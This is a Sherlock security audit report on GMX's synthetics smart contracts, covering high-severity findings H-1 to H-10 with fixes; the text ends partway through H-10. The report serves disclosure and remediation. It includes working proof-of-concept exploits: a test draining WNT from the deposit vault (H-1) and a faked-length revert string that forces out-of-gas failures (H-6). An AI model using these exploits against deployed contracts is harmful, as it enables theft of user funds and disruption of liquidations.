SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for:	GMX
Prepared by:	Sherlock
Lead Security Expert:	IIIIIII
Dates Audited:	February 10 - March 24, 2023
Prepared on:	April 3, 2023

Introduction

GMX is a decentralized spot and perpetual exchange that supports low swap fees and zero price impact trades.

Scope

- Repository: https://github.com/gmx-io/gmx-synthetics
- Branch: `main`
- Commit Hash: `8028cb8022b85174be861b311f1082b5b76239df`

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
38	19

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

IIIIIII	KingNFT	handsomegiraffe
float-audits	Breeje	joestakey
rvierdiiev	bin2chen	caventa
stopthecap	simon135	drdr
0xdeadbeef	koxuan	GalloDaSballo
berndartmueller	n33k	kirk-baird
0xAmanda	chaduke	PRAISE
hack3r-0m	ShadowForce	

Issue H-1: WNT in depositVault can be drained by abusing initialLongToken/initialShortToken of CreateDepositParams

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/205

Found by

bin2chen, n33k, hack3r-0m

Summary

The attacker can abuse the `initialLongToken/initialShortToken` of `CreateDepositParams` to drain all the WNT from depositVault.

Vulnerability Detail

```
function createDeposit(
    DataStore dataStore,
    EventEmitter eventEmitter,
    DepositVault depositVault,
    address account,
    CreateDepositParams memory params
) external returns (bytes32) {
    Market.Props memory market = MarketUtils.getEnabledMarket(dataStore,
↪   params.market);

    uint256 initialLongTokenAmount =
↪   depositVault.recordTransferIn(params.initialLongToken);
    uint256 initialShortTokenAmount =
↪   depositVault.recordTransferIn(params.initialShortToken);

    address wnt = TokenUtils.wnt(dataStore);

    if (market.longToken == wnt) {
        initialLongTokenAmount -= params.executionFee;
    } else if (market.shortToken == wnt) {
        initialShortTokenAmount -= params.executionFee;
```

The `initialLongToken` and `initialShortToken` of `CreateDepositParams` can be set to any token address and there is no check for the `initialLongToken` and `initialShortToken` during `createDeposit`. The attacker can set `initialLongToken/initialShortToken` to a token(USDC e.g.) with less value per unit than WNT and for a market with `market.longToken == wnt` or `market.shortToken ==`

wnt, params.executionFee will be wrongly subtracted from initialLongTokenAmount or initialLongTokenAmount. This allows the attacker to have a controllable large params.executionFee by sending tokens with less value. By calling cancelDeposit, params.executionFee amount of WNT will be repaid to the attacker.

Here is a PoC test case that drains WNT from depositVault:

```
diff --git a/gmx-synthetics/test/router/ExchangeRouter.ts
↪  b/gmx-synthetics/test/router/ExchangeRouter.ts
index 7eca238..c40a71c 100644
--- a/gmx-synthetics/test/router/ExchangeRouter.ts
+++ b/gmx-synthetics/test/router/ExchangeRouter.ts
@@ -103,6 +103,82 @@ describe("ExchangeRouter", () => {
     });
   });

+  it("createDepositPoC", async () => {
+    // simulate normal user deposit
+    await usdc.mint(user0.address, expandDecimals(50 * 1000, 6));
+    await usdc.connect(user0).approve(router.address, expandDecimals(50 * 1000,
↪  6));
+    const tx = await exchangeRouter.connect(user0).multicall(
+      [
+        exchangeRouter.interface.encodeFunctionData("sendWnt",
↪  [depositVault.address, expandDecimals(11, 18)]),
+        exchangeRouter.interface.encodeFunctionData("sendTokens", [
+          usdc.address,
+          depositVault.address,
+          expandDecimals(50 * 1000, 6),
+        ]),
+        exchangeRouter.interface.encodeFunctionData("createDeposit", [
+          {
+            receiver: user0.address,
+            callbackContract: user2.address,
+            market: ethUsdMarket.marketToken,
+            initialLongToken: ethUsdMarket.longToken,
+            initialShortToken: ethUsdMarket.shortToken,
+            longTokenSwapPath: [ethUsdMarket.marketToken,
↪  ethUsdSpotOnlyMarket.marketToken],
+            shortTokenSwapPath: [ethUsdSpotOnlyMarket.marketToken,
↪  ethUsdMarket.marketToken],
+            minMarketTokens: 100,
+            shouldUnwrapNativeToken: true,
+            executionFee,
+            callbackGasLimit: "200000",
+          },
+        ]),
+      ],
+       { value: expandDecimals(11, 18) }
+     );
+
+     // depositVault has WNT balance now
+     let vaultWNTBalance = await wnt.balanceOf(depositVault.address);
+     expect(vaultWNTBalance.eq(expandDecimals(11, 18)));
+
+     // user1 steal WNT from depositVault
+     await usdc.mint(user1.address, vaultWNTBalance.add(1));
+     await usdc.connect(user1).approve(router.address, vaultWNTBalance.add(1));
+
+     // Step 1. create deposit with malicious initialLongToken
+     await exchangeRouter.connect(user1).multicall(
+       [
+         exchangeRouter.interface.encodeFunctionData("sendTokens", [
+           usdc.address,
+           depositVault.address,
+           vaultWNTBalance.add(1),
+         ]),
+         exchangeRouter.interface.encodeFunctionData("createDeposit", [
+           {
+             receiver: user1.address,
+             callbackContract: user2.address,
+             market: ethUsdMarket.marketToken,
+             initialLongToken: usdc.address,       // use usdc instead of WNT
+             initialShortToken: ethUsdMarket.shortToken,
+             longTokenSwapPath: [],
+             shortTokenSwapPath: [],
+             minMarketTokens: 0,
+             shouldUnwrapNativeToken: true,
+             executionFee: vaultWNTBalance,
+             callbackGasLimit: "0",
+           },
+         ]),
+       ],
+     );
+
+     // Step 2. cancel deposit to drain WNT
+     const depositKeys = await getDepositKeys(dataStore, 0, 2);
+     // const deposit = await reader.getDeposit(dataStore.address,
↪   depositKeys[1]);
+     // console.log(deposit);
+     // console.log(depositKeys[1]);
+     await expect(exchangeRouter.connect(user1).cancelDeposit(depositKeys[1]));
+
+     // WNT is drained from depositVault
+     expect(await wnt.balanceOf(depositVault.address)).eq(0);
+   });
```

```
+
   it("createOrder", async () => {
     const referralCode = hashString("referralCode");
     await usdc.mint(user0.address, expandDecimals(50 * 1000, 6));
```

Impact

The malicious user can drain all WNT from depositVault.

Code Snippet

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/deposit/DepositUtils.sol#L77-L80

Tool used

Manual Review

Recommendation

```
diff --git a/gmx-synthetics/contracts/deposit/DepositUtils.sol
 ↪  b/gmx-synthetics/contracts/deposit/DepositUtils.sol
index fae1b46..2811a6d 100644
--- a/gmx-synthetics/contracts/deposit/DepositUtils.sol
+++ b/gmx-synthetics/contracts/deposit/DepositUtils.sol
@@ -74,9 +74,9 @@ library DepositUtils {

         address wnt = TokenUtils.wnt(dataStore);

-        if (market.longToken == wnt) {
+        if (params.initialLongToken == wnt) {
             initialLongTokenAmount -= params.executionFee;
-        } else if (market.shortToken == wnt) {
+        } else if (params.initialShortToken == wnt) {
             initialShortTokenAmount -= params.executionFee;
         } else {
             uint256 wntAmount = depositVault.recordTransferIn(wnt);
```

Issue H-2: Underestimated gas estimation for executing withdrawals leads to insufficient keeper compensation

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/195

Found by

rvierdiiev, bin2chen, berndartmueller, 0xAmanda

Summary

The `GasUtils.estimateExecuteWithdrawalGasLimit` function underestimates the gas estimation for withdrawal execution, as it does not take into account token swaps, unlike the gas estimation in the `GasUtils.estimateExecuteDepositGasLimit` function (used to estimate executing deposits).

Vulnerability Detail

When creating a withdrawal request, the `WithdrawalUtils.createWithdrawal` function estimates the gas required to execute the withdrawal and validates that the paid execution fee (`params.executionFee`) is sufficient to cover the estimated gas and to compensate the keeper executing the withdrawal fairly.

However, the `GasUtils.estimateExecuteWithdrawalGasLimit` function used to estimate the gas for executing withdrawals does not account for token swaps that can occur at the end of the withdrawal logic and therefore underestimates the gas estimation.

Token swaps are performed in the `WithdrawalUtils._executeWithdrawal` function in lines 354 and 365.

Impact

The keeper executing withdrawals receives fewer execution fees and is not fully compensated for the gas spent. Moreover, users can pay fewer execution fees than expected and required.

Code Snippet

contracts/gas/GasUtils.sol#L150

The gas estimate calculated in the `GasUtils.estimateExecuteWithdrawalGasLimit` function only uses a static gas limit plus the callback gas limit. Token swaps are not accounted for.

```
149: function estimateExecuteWithdrawalGasLimit(DataStore dataStore,
 ↪  Withdrawal.Props memory withdrawal) internal view returns (uint256) {
150:     return dataStore.getUint(Keys.withdrawalGasLimitKey(false)) +
 ↪  withdrawal.callbackGasLimit();
151: }
```

contracts/withdrawal/WithdrawalUtils.createWithdrawal() - L163

As observed in the `createWithdrawal` function, the `GasUtils.estimateExecuteWithdrawalGasLimit` function estimates the gas required to execute the withdrawal and validates the paid execution fee accordingly.

```
110: function createWithdrawal(
111:     DataStore dataStore,
112:     EventEmitter eventEmitter,
113:     WithdrawalVault withdrawalVault,
114:     address account,
115:     CreateWithdrawalParams memory params
116: ) external returns (bytes32) {
...      // [...]
160:
161:     CallbackUtils.validateCallbackGasLimit(dataStore,
 ↪  withdrawal.callbackGasLimit());
162:
163:     uint256 estimatedGasLimit =
 ↪  GasUtils.estimateExecuteWithdrawalGasLimit(dataStore, withdrawal);
164:     GasUtils.validateExecutionFee(dataStore, estimatedGasLimit,
 ↪  params.executionFee);
165:
166:     bytes32 key = NonceUtils.getNextKey(dataStore);
167:
168:     WithdrawalStoreUtils.set(dataStore, key, withdrawal);
169:
170:     WithdrawalEventUtils.emitWithdrawalCreated(eventEmitter, key,
 ↪  withdrawal);
171:
172:     return key;
173: }
```

contracts/withdrawal/WithdrawalUtils.executeWithdrawal() - L206-L213

The execution fee is paid to the keeper at the end of the `executeWithdrawal` function.

```
180: function executeWithdrawal(ExecuteWithdrawalParams memory params) external {
181:     Withdrawal.Props memory withdrawal =
 ↪  WithdrawalStoreUtils.get(params.dataStore, params.key);
...     // [...]

        GasUtils.payExecutionFee(
            params.dataStore,
            params.withdrawalVault,
            withdrawal.executionFee(),
            params.startingGas,
            params.keeper,
            withdrawal.account()
        );
    }
```

Tool used

Manual Review

Recommendation

Consider incorporating the token swaps in the gas estimation for withdrawal execution, similar to how it is done in the `GasUtils.estimateExecuteDepositGasLimit` function.

Issue H-3: ADL operations do not have any slippage protection

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/143

Found by

IIIIIII, Breeje

Summary

ADL operations do not have any slippage protection

Vulnerability Detail

ADL orders, generated by the ADL keeper, are forced to allow unlimited slippage, which means the user may get a lot less than they deserve.

Impact

There may be a large price impact associated with the ADL order, causing the user's large gain to become a loss, if the price impact factor is large enough, which may be the case if the price suddenly spikes up a lot, and there are many ADL operations after a lot of users exit their positions.

Code Snippet

Any price is allowed, and the minimum output amount is set to zero:

```
// File: gmx-synthetics/contracts/adl/AdlUtils.sol : AdlUtils.createAdlOrder()   #1


            Order.Numbers memory numbers = Order.Numbers(
                Order.OrderType.MarketDecrease, // orderType
                Order.DecreasePositionSwapType.NoSwap, // decreasePositionSwapType
                params.sizeDeltaUsd, // sizeDeltaUsd
                0, // initialCollateralDeltaAmount
                0, // triggerPrice
@>              position.isLong() ? 0 : type(uint256).max, // acceptablePrice
                0, // executionFee
                0, // callbackGasLimit
@>              0, // minOutputAmount
```

```
                params.updatedAtBlock // updatedAtBlock
            );
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/adl/AdlUtils.sol#L141-L153

The only checks after the ADL order completes are related to global metrics, not position-specific ones.

Tool used

Manual Review

Recommendation

Introduce a `MAX_POSITION_IMPACT_FACTOR_FOR_ADL`, similar to `MAX_POSITION_IMPACT_FACTOR_FOR_LIQUIDATIONS`

Issue H-4: Keepers can be forced to waste gas with long revert messages

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/141

Found by

KingNFT, IIIIIII, 0xAmanda

Summary

Most actions done on behalf of users have a callback triggered on an address provided by the position's account holder. In order to ensure that these callbacks don't affect order execution, they're wrapped in a try-catch block, and the actual external call has a limited amount of gas provided to it. If the callback fails, the revert message is fetched and emitted, before processing continues. Keepers are given a limited gas budget based on estimated amounts of gas expected to be used, including a maximum amount allotted for callbacks via the callbackGasLimit().

Vulnerability Detail

A malicious user can use the full `callbackGasLimit()` to create an extremely long revert string. This would use three times the expected amount of gas, since the callback will spend that amount, the fetching of the message during the revert will fetch that much, and the emitting of the same string will fetch that much.

Impact

Keepers can be forced to spend more gas than they expect to for all operations. If they don't have a reliable way of calculating how much gas is used, they'll have spent more gas than they get in return.

If all keepers are expected to be able to calculate gas fees, then an attacker can submit an order whose happy path execution doesn't revert, but whose failure path reverts with a long string, which would essentially prevent the order from being executed until a more favorable price is reached. The user could, for example, submit an order with a long revert string in the frozen order callback, which would prevent the order from being frozen, and would allow them to game the price impact

Code Snippet

A single revert message uses gas x3:

```
// File: gmx-synthetics/contracts/callback/CallbackUtils.sol :
↪  CallbackUtils.afterOrderCancellation()   #1

127         function afterOrderCancellation(bytes32 key, Order.Props memory
↪  order) internal {
128             if (!isValidCallbackContract(order.callbackContract())) { return;
↪  }
129
130 @>          try
↪  IOrderCallbackReceiver(order.callbackContract()).afterOrderCancellation{
↪  gas: order.callbackGasLimit() }(key, order) {
131             } catch (bytes memory reasonBytes) {
132 @>              (string memory reason, /* bool hasRevertMessage */) =
↪  ErrorUtils.getRevertMessage(reasonBytes);
133 @>              emit AfterOrderCancellationError(key, order, reason,
↪  reasonBytes);
134             }
135:        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/callback/CallbackUtils.sol#L127-L135

Tool used

Manual Review

Recommendation

Count the gas three times during gas estimation

Issue H-5: Limit orders are broken when there are price gaps

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/140

Found by

IIIIIII

Summary

Limit orders fail to execute when the price becomes worse for the order in the block after the order is submitted.

Vulnerability Detail

Limit orders require that all oracle-provided prices come from blocks after the order has been submitted. In addition, limit orders's primary and secondary prices are required to straddle the trigger price.

Impact

If the primary/secondary prices go well past the trigger price (e.g. due to a price gap), then the order execution will revert, leaving the user exposed to their position, even if they had a valid stoploss set.

Code Snippet

Limit orders require prices to straddle the trigger price, and revert if they don't:

```
// File: gmx-synthetics/contracts/order/BaseOrderUtils.sol : BaseOrderUtils.setExactOrderPrice()   #1

            if (orderType == Order.OrderType.LimitIncrease ||
                orderType == Order.OrderType.LimitDecrease ||
                orderType == Order.OrderType.StopLossDecrease
            ) {
                uint256 primaryPrice = oracle.getPrimaryPrice(indexToken).pickPrice(shouldUseMaxPrice);
                uint256 secondaryPrice = oracle.getSecondaryPrice(indexToken).pickPrice(shouldUseMaxPrice);

...
                if (shouldValidateAscendingPrice) {
                    // check that the earlier price (primaryPrice) is smaller than the triggerPrice
```

```
                   // and that the later price (secondaryPrice) is larger than the triggerPrice
@>                 bool ok = primaryPrice <= triggerPrice && triggerPrice <= secondaryPrice;
                   if (!ok) {
                       revert InvalidOrderPrices(primaryPrice, secondaryPrice, triggerPrice, shouldValidateAscendingPrice);
                   }
...
               } else {
                   // check that the earlier price (primaryPrice) is larger than the triggerPrice
                   // and that the later price (secondaryPrice) is smaller than the triggerPrice
@>                 bool ok = primaryPrice >= triggerPrice && triggerPrice >= secondaryPrice;
                   if (!ok) {
                       revert InvalidOrderPrices(primaryPrice, secondaryPrice, triggerPrice, shouldValidateAscendingPrice);
                   }
...
               }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/BaseOrderUtils.sol#L228-L288

Tool used

Manual Review

Recommendation

Don't revert if both the primary and secondary prices are worse than the trigger price. Use the trigger price as the execution price.

Issue H-6: Malicious revert reasons with faked lengths can disrupt order execution

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/139

Found by

0xdeadbeef, IIIIIII

Summary

Malicious revert reasons with faked lengths can be used in the various order callbacks to disrupt order execution

Vulnerability Detail

For most order-related operations, the user is allowed to provide the address of a contract on which a callback is triggered, whenever anything related to an order changes. These callbacks are executed with a limited amount of gas, under a try-catch block, in order to ensure that the user-supplied callback cannot affect subsequent processing. Whenever the callback reverts, the revert reason is fetched so that it can be emitted.

The code that parses the return bytes uses `abi.decode(result, (string))` to parse the "string", which relies on the first word of the data, to figure out how many bytes long the string is. Because the `results` variable is a memory variable, rather than calldata, any read past the end of the bytes is allowed, and is considered as value zero byte slots. If a malicious callback provides a reason "string" that is only a few bytes long, but sets the length to a very large number, when the decode call is made, it will try to read a string of that provided length, and will eventually run out of gas.

Note that this is not the same as providing an actual long string, because in that case, the callback will revert with an out of gas error, and there won't be a string to parse.

Impact

A malicious user can use this attack in many different places, but they all stem from the bug in `ErrorUtils.getRevertMessage()`. One such attack would be that a user can prevent themselves from being liquidated or ADLed, by providing a malicious string in the revert reason in their CallbackUtils.afterOrderExecution() callback.

Othere places include the freezing of orders, bypassing pauses by having resting orders that can never execute until allowed, and preventing orders from being canceled when their normal execution reverts.

Code Snippet

The input `result` is a memory variable, and it uses `abi.decode()` without checking the string's length against the calldata length, or any sort of maximum:

```
// File: gmx-synthetics/contracts/utils/ErrorUtils.sol :
↪ ErrorUtils.getRevertMessage()   #1

6        // To get the revert reason, referenced from
↪ https://ethereum.stackexchange.com/a/83577
7  @>    function getRevertMessage(bytes memory result) internal pure returns
↪ (string memory, bool) {
8            // If the result length is less than 68, then the transaction
↪ either panicked or failed silently
9            if (result.length < 68) {
10               return ("", false);
11           }
12
13           bytes4 errorSelector = getErrorSelectorFromData(result);
14
15           // 0x08c379a0 is the selector for Error(string)
16           // referenced from
↪ https://blog.soliditylang.org/2021/04/21/custom-errors/
17           if (errorSelector == bytes4(0x08c379a0)) {
18               assembly {
19                   result := add(result, 0x04)
20               }
21
22 @>            return (abi.decode(result, (string)), true);
23           }
24
25           // error may be a custom error, return an empty string for this
↪ case
26           return ("", false);
27:      }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/utils/ErrorUtils.sol#L7-L27

The following test shows how this can be used to cause a revert, even when the gas to the callback is limited. I show two cases - one where there is no external wrapping of the calldata, and one where there is. Most of the examples of `getRevertMessage()` are the unwrapped variety, but some like the ones for `executeDeposit()` and `executeWithdrawal()` are wrapped, and would require the attack to also be applied to the cancellation callback, since those are unwrapped:

```
pragma solidity 0.8.17;
```

```
import "forge-std/Test.sol";

contract BigString is Test {

    function test_unwrapped() external view returns (uint256) {
        try this.strFakedString{gas:10240}() {
        //try this.strFakedString() {
        //try this.strBigString{gas:10240}() {
        //try this.strNoIssue() {
        } catch (bytes memory reasonBytes) {
            (string memory reason, /* bool hasRevertMessage */) =
 ↪  getRevertMessage(reasonBytes);
            return 1;
        }
        return 0;
    }

    function test_wrapped() external view returns (uint256) {
        try this.test_unwrapped() {
        } catch (bytes memory reasonBytes) {
            (string memory reason, /* bool hasRevertMessage */) =
 ↪  getRevertMessage(reasonBytes);
            return 1;
        }
        return 0;
    }

    function strNoIssue() external pure returns (string memory) {
        assembly {
            mstore(0, 0x20)
            mstore(0x27, 0x07536561706f7274)
            revert(0, 0x60)
        }
    }
    function strBigString() external pure returns (string memory) {
        bytes memory str = new bytes(100000000000);
    revert(string(str));
    }

    function strFakedString() external pure returns (string memory) {
        assembly {
            let free_mem_ptr := mload(64)
            mstore(free_mem_ptr,
 ↪  0x08c379a000000000000000000000000000000000000000000000000000000000)
            mstore(add(free_mem_ptr, 4), 32)
            //mstore(add(free_mem_ptr, 36), 12) // original
            mstore(add(free_mem_ptr, 36), 100000000000) // out of gas
            mstore(add(free_mem_ptr, 68), "Unauthorizedzzzzzz")
            revert(free_mem_ptr, 100)
        }
    }

    function getErrorSelectorFromData(bytes memory data) internal pure returns
↪   (bytes4) {
        bytes4 errorSelector;

        assembly {
            errorSelector := mload(add(data, 0x20))
        }

        return errorSelector;
    }
    // To get the revert reason, referenced from
↪   https://ethereum.stackexchange.com/a/83577
    function getRevertMessage(bytes memory result) internal pure returns (string
↪   memory, bool) {
        // If the result length is less than 68, then the transaction either
↪   panicked or failed silently
        if (result.length < 68) {
            return ("", false);
        }

        bytes4 errorSelector = getErrorSelectorFromData(result);

        // 0x08c379a0 is the selector for Error(string)
        // referenced from
↪   https://blog.soliditylang.org/2021/04/21/custom-errors/
        if (errorSelector == bytes4(0x08c379a0)) {
            assembly {
                result := add(result, 0x04)
            }

            return (abi.decode(result, (string)), true);
        }

        // error may be a custom error, return an empty string for this case
        return ("", false);
    }
}
```

Output:

```
$ forge test -vvvv
[] Compiling...
No files changed, compilation skipped
```

```
Running 2 tests for src/T.sol:BigString
[FAIL. Reason: EvmError: OutOfGas] test_unwrapped():(uint256) (gas:
↪  9223372036854754743)
Traces:
  [2220884625] BigString::test_unwrapped()
     [257] BigString::strFakedString() [staticcall]
         0x08c379a0000000000000000000000000000000000000000000000000000000000 ⌋
    ↪  0200000000000000000000000000000000000000000000000000174876e800556e6 ⌋
    ↪  17574686f72697a65647a7a7a7a7a7a000000000000000000000000000
     ← "EvmError: OutOfGas"

[PASS] test_wrapped():(uint256) (gas: 9079256848778899476)
Traces:
  [9079256848778899476] BigString::test_wrapped()
     [2220884625] BigString::test_unwrapped() [staticcall]
        [257] BigString::strFakedString() [staticcall]
            0x08c379a0000000000000000000000000000000000000000000000000000000 ⌋
    ↪  0000200000000000000000000000000000000000000000000000000174876e80055 ⌋
    ↪  6e617574686f72697a65647a7a7a7a7a7a000000000000000000000000000
        ← "EvmError: OutOfGas"
     ← 1

Test result: FAILED. 1 passed; 1 failed; finished in 628.44ms

Failing tests:
Encountered 1 failing test in src/T.sol:BigString
[FAIL. Reason: EvmError: OutOfGas] test_unwrapped():(uint256) (gas:
↪  9223372036854754743)

Encountered a total of 1 failing tests, 1 tests succeeded
```

Tool used

Manual Review

Recommendation

Have an upper limit on the length of a string that can be passed back, and manually update the length if the string's stated length is greater than the max.

Issue H-7: User-supplied slippage for decrease orders is ignored

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/138

Found by

rvierdiiev, IIIIIII, berndartmueller, simon135

Summary

The user-supplied `minOutputAmount` order parameter for controlling slippage is ignored when a user decreases their position

Vulnerability Detail

There are no checks that the amount out matches the user-supplied value during order creation, and in fact infinite slippage is allowed during the swap of PNL and collateral, ensuring there are opportunities for sandwiching.

Impact

User's orders will have swap impacts applied to them during swaps, resulting in the user getting less than they asked for.

Code Snippet

Infinite slippage is allowed during the swap from collateral tokens to the PNL token:

```
// File: gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol :
↪  DecreasePositionCollateralUtils.swapProfitToCollateralToken()    #1

                try params.contracts.swapHandler.swap(
                    SwapUtils.SwapParams(
                        params.contracts.dataStore,
                        params.contracts.eventEmitter,
                        params.contracts.oracle,
                        Bank(payable(params.market.marketToken)),
                        pnlToken, // tokenIn
                        profitAmount, // amountIn
                        swapPathMarkets, // markets
@>                      0, // minOutputAmount
                        params.market.marketToken, // receiver
                        false // shouldUnwrapNativeToken
                    )
                ) returns (address /* tokenOut */, uint256 swapOutputAmount) {
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol#L425-L438

and during the swap of collateral tokens to PNL tokens:

```
// File: gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol :
↪  DecreasePositionCollateralUtils.swapWithdrawnCollateralToPnlToken()   #2

                    try params.contracts.swapHandler.swap(
                        SwapUtils.SwapParams(
                            params.contracts.dataStore,
                            params.contracts.eventEmitter,
                            params.contracts.oracle,
                            Bank(payable(params.market.marketToken)),
                            params.position.collateralToken(), // tokenIn
                            values.output.outputAmount, // amountIn
                            swapPathMarkets, // markets
     @>                     0, // minOutputAmount
                            params.market.marketToken, // receiver
                            false // shouldUnwrapNativeToken
                        )
                    ) returns (address tokenOut, uint256 swapOutputAmount) {
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol#L383-L396

And there are no checks in the calling layers that ensure that the final amount matches the minOutputAmount provided during order creation.

Tool used

Manual Review

Recommendation

`require()` that the final output amount is equal to the requested amount, after the position is decreased but before funds are transferred.

Issue H-8: Collateral cannot be claimed because there is no mechanism for the config keeper to change the claimable factor

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/137

Found by

IIIIIII, berndartmueller

Summary

Collateral given back to a user due to capped price impacts cannot be claimed because there is no mechanism for the config keeper to set the claimable factor

Vulnerability Detail

The code that claims the collateral for the user only gives back a percentage of the collateral based on a "factor", but there is no function to change the factor from the default of zero.

Impact

The user will never be able to claim any of this collateral back, which is a principal loss.

Needing to let users claim their collateral is mainly for when large liquidations cause there to be large impact amounts. While this is not an everyday occurrence, large price gaps and liquidations are a relatively common occurrence in crypto, happening every couple of months, so needing this functionality will be required in the near future. Fixing the issue would require winding down all open positions and requiring LPs to withdraw their collateral, and re-deploying with new code.

Code Snippet

```
// File: gmx-synthetics/contracts/market/MarketUtils.sol :
↪  MarketUtils.claimCollateral()   #1

627            uint256 claimableAmount =
↪  dataStore.getUint(Keys.claimableCollateralAmountKey(market, token, timeKey,
↪  account));
628 @>         uint256 claimableFactor =
↪  dataStore.getUint(Keys.claimableCollateralFactorKey(market, token, timeKey,
↪  account));
```

```
629             uint256 claimedAmount =
↪  dataStore.getUint(Keys.claimedCollateralAmountKey(market, token, timeKey,
↪  account));
630
631 @>          uint256 adjustedClaimableAmount =
↪  Precision.applyFactor(claimableAmount, claimableFactor);
632 @>          if (adjustedClaimableAmount >= claimedAmount) {
633                 revert CollateralAlreadyClaimed(adjustedClaimableAmount,
↪  claimedAmount);
634:            }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L622-L644

Tool used

Manual Review

Recommendation

```
diff --git a/gmx-synthetics/contracts/config/Config.sol
↪  b/gmx-synthetics/contracts/config/Config.sol
index 9bb382c..7696eb6 100644
--- a/gmx-synthetics/contracts/config/Config.sol
+++ b/gmx-synthetics/contracts/config/Config.sol
@@ -232,6 +232,8 @@ contract Config is ReentrancyGuard, RoleModule,
↪  BasicMulticall {

↪  allowedBaseKeys[Keys.MIN_COLLATERAL_FACTOR_FOR_OPEN_INTEREST_MULTIPLIER] =
↪  true;
         allowedBaseKeys[Keys.MIN_COLLATERAL_USD] = true;

+        allowedBaseKeys[Keys.CLAIMABLE_COLLATERAL_FACTOR] = true;
+
         allowedBaseKeys[Keys.VIRTUAL_TOKEN_ID] = true;
         allowedBaseKeys[Keys.VIRTUAL_MARKET_ID] = true;
         allowedBaseKeys[Keys.VIRTUAL_INVENTORY_FOR_SWAPS] = true;
```

Issue H-9: Collateral cannot be claimed due to inverted comparison condition

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/136

Found by

IIIIIII, rvierdiiev, berndartmueller, joestakey, drdr, stopthecap, float-audits

Summary

Collateral given back to a user due to capped price impacts cannot be claimed due to inverted comparison condition

Vulnerability Detail

The check that ensures that the amount claimed is less than the amount available has its condition inverted, i.e. requires that the amount claimed is more than the amount available.

Impact

Since the claimed amount starts at zero, the user will never be able to claim any of this collateral back, which is a principal loss.

Needing to let users claim their collateral is mainly for when large liquidations cause there to be large impact amounts. While this is not an everyday occurrence, large price gaps and liquidations are a relatively common occurrence in crypto, happening every couple of months, so needing this functionality will be required in the near future. Fixing the issue would require winding down all open positions and requiring LPs to withdraw their collateral, and re-deploying with new code.

Code Snippet

```
// File: gmx-synthetics/contracts/market/MarketUtils.sol :
↪  MarketUtils.claimCollateral()   #1

627            uint256 claimableAmount =
↪  dataStore.getUint(Keys.claimableCollateralAmountKey(market, token, timeKey,
↪  account));
628            uint256 claimableFactor =
↪  dataStore.getUint(Keys.claimableCollateralFactorKey(market, token, timeKey,
↪  account));
```

```
            uint256 claimedAmount =
↪   dataStore.getUint(Keys.claimedCollateralAmountKey(market, token, timeKey,
↪   account));

            uint256 adjustedClaimableAmount =
↪   Precision.applyFactor(claimableAmount, claimableFactor);
@>          if (adjustedClaimableAmount >= claimedAmount) {
                revert CollateralAlreadyClaimed(adjustedClaimableAmount,
↪   claimedAmount);
            }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L622-L644

Tool used

Manual Review

Recommendation

```
diff --git a/gmx-synthetics/contracts/market/MarketUtils.sol
↪   b/gmx-synthetics/contracts/market/MarketUtils.sol
index 7624b69..67b167c 100644
--- a/gmx-synthetics/contracts/market/MarketUtils.sol
+++ b/gmx-synthetics/contracts/market/MarketUtils.sol
@@ -629,7 +629,7 @@ library MarketUtils {
         uint256 claimedAmount =
↪   dataStore.getUint(Keys.claimedCollateralAmountKey(market, token, timeKey,
↪   account));

         uint256 adjustedClaimableAmount =
↪   Precision.applyFactor(claimableAmount, claimableFactor);
-        if (adjustedClaimableAmount >= claimedAmount) {
+        if (adjustedClaimableAmount <= claimedAmount) {
             revert CollateralAlreadyClaimed(adjustedClaimableAmount,
↪   claimedAmount);
         }
```

Issue H-10: Fee receiver is given twice the amount of borrow fees it's owed

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/135

Found by

rvierdiiev, IIIIIII, float-audits

Summary

The fee receiver is given twice the amount of borrow fees it's owed, at the expense of the user's position

Vulnerability Detail

The calculation of the total net cost of a position change double counts the portion of the fee related to how much the fee receiver gets of the fee of the borrowed amount.

Impact

The fee receiver gets twice the amount owed, and the user is charged twice what they should be for that portion of their order

Code Snippet

`borrowingFeeAmount` contains both the amount for the pool and the amount for the fee receiver. The `totalNetCostAmount` calculation includes the full `borrowingFeeAmount` even though the `feeReceiverAmount` is also included, and already contains the `borrowingFeeAmountForFeeReceiver`

```
// File: gmx-synthetics/contracts/pricing/PositionPricingUtils.sol :
↪  PositionPricingUtils.getPositionFees()   #1

@>          fees.borrowingFeeAmount = MarketUtils.getBorrowingFees(dataStore,
↪  position) / collateralTokenPrice.min;

            uint256 borrowingFeeReceiverFactor =
↪  dataStore.getUint(Keys.BORROWING_FEE_RECEIVER_FACTOR);
            uint256 borrowingFeeAmountForFeeReceiver =
↪  Precision.applyFactor(fees.borrowingFeeAmount, borrowingFeeReceiverFactor);

@>          fees.feeAmountForPool = fees.positionFeeAmountForPool +
